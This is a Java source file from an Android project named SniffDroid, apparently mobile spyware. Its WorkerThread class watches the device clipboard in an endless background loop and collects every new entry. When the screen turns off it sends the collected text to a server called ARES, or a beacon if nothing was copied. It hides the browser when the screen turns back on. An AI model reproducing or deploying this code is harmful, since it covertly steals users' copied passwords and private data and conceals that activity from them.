package Android.SniffDroid;

import android.os.PowerManager;
import android.text.ClipboardManager;

/**
 * this class represents a worker thread that runs in the background and
 * does the work for SniffServ
 * @author Mike
 */
public class WorkerThread extends Thread {
    /**
     * the instance of the clipboard manager
     */
    private ClipboardManager clipboard;
    /**
     * the instance of the power manager
     */
    private PowerManager powerMan;
    /**
     * the data that was last seen in the clipboard
     */
    private CharSequence clipText;
    /**
     * the data retrieved from the clipboard that will be send to ARES
     */
    private CharSequence clipboardData;
    /**
     * true if the screen was turned on previously
     */
    private boolean previousScreenStateOn;
    
    /**
     * constrcutor
     */
    public WorkerThread() {
        clipboard = SniffServ.getClipboardManager();
        powerMan = SniffServ.getPowerManager();
        clipText = clipboard.getText();
        clipboardData = clipText;
    }
    /**
     * called when the thread is run
     */
    @Override
    public void run() {
        previousScreenStateOn = powerMan.isScreenOn();
        
        while (true) {
            MonitorClipboard();
            HandleScreenEvents();
            SniffDroid.Wait(3);
        }
    }
    /**
     * monitors the clipboard for changes and appends them to clipboardData
     */
    private void MonitorClipboard() {
        if (clipboard.hasText() && !isSameSequence(clipboard.getText(),clipText)) {
            clipText = clipboard.getText();
            clipboardData = clipboardData.toString() + clipText.toString() + "\r\n";
        }
    }
    /**
     * handles screen events (e.g. user turning the screen on)
     */
    private void HandleScreenEvents() {
            if (!powerMan.isScreenOn()) {
                previousScreenStateOn = false;
                SendStoredData();
            }
            if (powerMan.isScreenOn()) {
                if (!previousScreenStateOn) {
                    //hide the browser
                    SniffDroid.ResetBrowser();
                    previousScreenStateOn = true;
                }
            }
    }
    /**
     * send the data of the clipboard (if any) or an empty notification (beacon)
     */
    private void SendStoredData() {
        if (clipboardData.length() > 0) {
            SniffDroid.SendData("data","Data from clipboard:\r\n"+clipboardData);
            clipboardData = "";
        }
        else {
            SniffDroid.SendBeacon();
        }
    }
    /**
     * determine if two CharSequences are equal
     * @param seq1 the first sequence
     * @param seq2 the second sequence
     * @return true if both sequences are equal
     */
    private boolean isSameSequence(CharSequence seq1, CharSequence seq2) {
        String str1 = seq1.toString();
        String str2 = seq2.toString();        
        return str1.equals(str2);
    }
}
